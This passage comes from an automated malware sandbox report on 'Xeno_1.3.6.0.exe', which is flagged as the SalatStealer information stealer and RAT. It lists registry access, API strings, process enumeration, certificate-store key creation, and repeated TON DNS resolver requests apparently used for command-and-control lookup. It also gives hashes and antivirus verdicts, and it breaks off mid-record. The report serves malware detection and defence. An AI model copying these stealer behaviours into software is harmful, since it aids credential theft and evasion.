"Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPV6DOMAIN"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "Xeno_1.3.6.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "")3f:T509,Found string "abort" (Source: Xeno_1.3.6.0.exe, API is part of module: MSVCRT.DLL) Found string "trunc" (Source: Xeno_1.3.6.0.exe, API is part of module: UCRTBASE.DLL) Found string "clock" (Source: Xeno_1.3.6.0.exe, API is part of module: MSVCRT.DLL) Found string "accept" (Source: Xeno_1.3.6.0.exe, API is part of module: WS2_32.DLL) Found string "remove" (Source: Xeno_1.3.6.0.exe, API is part of module: MSVCRT.DLL) Found string "signal" (Source: Xeno_1.3.6.0.exe, API is part of module: MSVCRT.DLL) Found string "listen" (Source: Xeno_1.3.6.0.exe, API is part of module: WS2_32.DLL) Found string "connect" (Source: Xeno_1.3.6.0.exe, API is part of module: WS2_32.DLL) Found string "tmpfile" (Source: Xeno_1.3.6.0.exe, API is part of module: MSVCRT.DLL) Found string "realloc" (Source: Xeno_1.3.6.0.exe, API is part of module: MSVCRT.DLL) Found string "shutdown" (Source: Xeno_1.3.6.0.exe, API is part of module: WS2_32.DLL) Found string "OpenFile" (Source: Xeno_1.3.6.0.exe, API is part of module: KERNEL32.DLL) Found string "SetTimer" (Source: Xeno_1.3.6.0.exe, API is part of module: USER32.DLL) Found string "WSAIoctl" (Source: Xeno_1.3.6.0.exe, API is part of module: WS2_32.DLL) Found string "ShowWindow" (Source: Xeno_1.3.6.0.exe, API is part of module: USER32.DLL)40:T377b,"POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgBzaHlldG9vdHZhbACNoplI"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Tue 22 Sep 2026 02:25:46 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Api-Version: 2.0.0 X-Timer: S1790043946.141711 VS0 VE5 X-Served-By: cache-bur-kbur8200056-BUR X-Cache: HIT Accept-Ranges: bytes Age: 2 X-Cache-Hits: 1 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"EQC3dNlesgVD8YbAazcauIrXBPfiVhMMr5YYk2in0Mtsz0Bz","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEADwAAGgBzaHlldG9vdHZhbAD607xQ"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Tue 22 Sep 2026 02:25:46 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Api-Version: 2.0.0 X-Timer: S1790043946.182939 VS0 VE2 X-Served-By: cache-bur-kbur8200056-BUR X-Cache: HIT Accept-Ranges: bytes Age: 1 X-Cache-Hits: 1 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"EQD2HFpCkKlDS-Cvow9jPU7SDQ-pEq000a2sG5U39JwoUXRR","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAAwAAAgDTZ9xB"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Tue 22 Sep 2026 02:25:46 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Api-Version: 2.0.0 X-Timer: S1790043946.252754 VS0 VE1 X-Served-By: cache-bur-kbur8200056-BUR X-Cache: HIT Accept-Ranges: bytes Age: 1 X-Cache-Hits: 1 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgBzaHlldG9vdHZhbACNoplI"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Tue 22 Sep 2026 02:26:42 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Api-Version: 2.0.0 X-Timer: S1790044003.906497 VS0 VE1 X-Served-By: cache-bur-kbur8200056-BUR X-Cache: HIT Accept-Ranges: bytes Age: 3 X-Cache-Hits: 1 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"EQC3dNlesgVD8YbAazcauIrXBPfiVhMMr5YYk2in0Mtsz0Bz","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEADwAAGgBzaHlldG9vdHZhbAD607xQ"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Tue 22 Sep 2026 02:26:42 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Api-Version: 2.0.0 X-Timer: S1790044003.965875 VS0 VE1 X-Served-By: cache-bur-kbur8200056-BUR X-Cache: HIT Accept-Ranges: bytes Age: 2 X-Cache-Hits: 1 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"EQD2HFpCkKlDS-Cvow9jPU7SDQ-pEq000a2sG5U39JwoUXRR","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAAwAAAgDTZ9xB"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Tue 22 Sep 2026 02:26:43 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Api-Version: 2.0.0 X-Timer: S1790044003.024562 VS0 VE2 X-Served-By: cache-bur-kbur8200056-BUR X-Cache: HIT Accept-Ranges: bytes Age: 2 X-Cache-Hits: 1 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Tue 22 Sep 2026 02:26:49 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790044010.733011 VS0 VE2 X-Served-By: cache-bur-kbur8200056-BUR Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Tue 22 Sep 2026 02:26:50 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790044011.813611 VS0 VE0 X-Served-By: cache-bur-kbur8200056-BUR Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Tue 22 Sep 2026 02:26:51 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790044012.887224 VS0 VE1 X-Served-By: cache-bur-kbur8200056-BUR Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Tue 22 Sep 2026 02:26:53 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790044014.951872 VS0 VE0 X-Served-By: cache-bur-kbur8200056-BUR Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Tue 22 Sep 2026 02:26:55 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790044015.021489 VS0 VE0 X-Served-By: cache-bur-kbur8200056-BUR Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Tue 22 Sep 2026 02:26:56 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790044016.107751 VS0 VE0 X-Served-By: cache-bur-kbur8200056-BUR Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Tue 22 Sep 2026 02:26:58 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790044018.190397 VS0 VE0 X-Served-By: cache-bur-kbur8200056-BUR Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Tue 22 Sep 2026 02:26:59 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790044019.261783 VS0 VE0 X-Served-By: cache-bur-kbur8200056-BUR Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Tue 22 Sep 2026 02:27:00 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1790044020.333674 VS0 VE0 X-Served-By: cache-bur-kbur8200056-BUR Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body41:T41a,"Xeno_1.3.6.0.exe" called "Process32FirstW with parameter [System Process]" (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "Process32NextW with parameter System" (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "Process32NextW with parameter smss.exe" (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "Process32NextW with parameter csrss.exe" (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "Process32NextW with parameter wininit.exe" (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "Process32NextW with parameter winlogon.exe" (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "Process32NextW with parameter services.exe" (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "Process32NextW with parameter lsass.exe" (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "Process32NextW with parameter svchost.exe" (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "Process32NextW with parameter fontdrvhost.exe" (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "Process32NextW with parameter dwm.exe" (UID: 00000000-00003500)42:Ta24,"Xeno_1.3.6.0.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "Xeno_1.3.6.0.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "Xeno_1.3.6.0.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "Xeno_1.3.6.0.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "Xeno_1.3.6.0.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "Xeno_1.3.6.0.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "Xeno_1.3.6.0.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "Xeno_1.3.6.0.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "Xeno_1.3.6.0.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "Xeno_1.3.6.0.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "Xeno_1.3.6.0.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "Xeno_1.3.6.0.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "Xeno_1.3.6.0.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "Xeno_1.3.6.0.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "Xeno_1.3.6.0.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "Xeno_1.3.6.0.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "Xeno_1.3.6.0.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "Xeno_1.3.6.0.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "Xeno_1.3.6.0.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "Xeno_1.3.6.0.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "Xeno_1.3.6.0.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "Xeno_1.3.6.0.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES")1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791159210054,"unified_at":"2026-10-05T00:13:30.054Z","metadata":{"hashes":{"sha256":"7cf6ecf31afc12585c87147c412fb01611462ee47cf56c0ec8566619dcaddc74","sha1":"6e7c68e3ee6e6f41dbf7ae1ba56ff7928d472202","md5":"3cbdbce6ff15f0df257bc9254e9f8dba","sha512":"68d1c0a0bfd2b2684db9079044558d48fa99eaad0216ba62ad0b3d2ffb93390c5c25a732bd61b4189795c2e97aaa4fb411854d684098127ad9bdbc758cf8e364","ssdeep":"98304:w3JKfsE7ngC85XT3+97tD+P4S3HVd7EOO/:1fnW5D3gRyTeOO/","ssdeep_chunks":["98304:w3JKfsE","98304:3JKfsE7","98304:JKfsE7n","98304:KfsE7ng","98304:fsE7ngC","98304:sE7ngC8","98304:E7ngC85","98304:7ngC85X","98304:ngC85XT","98304:gC85XT3","98304:C85XT3+","98304:85XT3+9","98304:5XT3+97","98304:XT3+97t","98304:T3+97tD","98304:3+97tD+","98304:+97tD+P","98304:97tD+P4","98304:7tD+P4S","98304:tD+P4S3","98304:D+P4S3H","98304:+P4S3HV","98304:P4S3HVd","98304:4S3HVd7","98304:S3HVd7E","98304:3HVd7EO","98304:HVd7EOO","98304:Vd7EOO/","196608:w3JKfsE","196608:3JKfsE7","196608:JKfsE7n","196608:KfsE7ng","196608:fsE7ngC","196608:sE7ngC8","196608:E7ngC85","196608:7ngC85X","196608:ngC85XT","196608:gC85XT3","196608:C85XT3+","196608:85XT3+9","196608:5XT3+97","196608:XT3+97t","196608:T3+97tD","196608:3+97tD+","196608:+97tD+P","196608:97tD+P4","196608:7tD+P4S","196608:tD+P4S3","196608:D+P4S3H","196608:+P4S3HV","196608:P4S3HVd","196608:4S3HVd7","196608:S3HVd7E","196608:3HVd7EO","196608:HVd7EOO","196608:Vd7EOO/","98304:1fnW5D3","98304:fnW5D3g","98304:nW5D3gR","98304:W5D3gRy","98304:5D3gRyT","98304:D3gRyTe","98304:3gRyTeO","98304:gRyTeOO","98304:RyTeOO/"],"imphash":"1aae8bf580c846f39c71c05898e57e88","pehash":"f8bf49a3bc4933141ebbf6ca3348d82bec522534"},"file_info":{"file_name":"Xeno_1.3.6.0.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":12570112,"entropy":6.4,"compile_timestamp":"1970-01-01T00:00:00","is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1790041827000,"last_seen":1790043867000,"last_multi_scan":1790043867000},"pe_metadata":{"is_dll":false,"is_packed":false,"section_count":6,"import_count":0,"export_count":0,"sections":[{"name":".text","virtual_address":"0x1000","virtual_size":5246661,"raw_size":5246976},{"name":".rdata","virtual_address":"0x502000","virtual_size":6634312,"raw_size":6634496},{"name":".data","virtual_address":"0xb56000","virtual_size":635308,"raw_size":433152},{"name":".idata","virtual_address":"0xbf2000","virtual_size":1100,"raw_size":1536},{"name":".reloc","virtual_address":"0xbf3000","virtual_size":252216,"raw_size":252416},{"name":".symtab","virtual_address":"0xc31000","virtual_size":4,"raw_size":512}],"section_names":[".text",".rdata",".data",".idata",".reloc",".symtab"],"imported_dlls":null,"imported_functions":null}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["salatstealer","criminal","informationstealer","rat","malicious","evasive","suspicious"]},"stats":{"av":{"malicious_count":16,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":69},"sandbox_signatures":{"informative_count":125,"suspicious_count":19,"malicious_count":5,"total":149},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W32.Evo","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.LummaStealer.103","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% 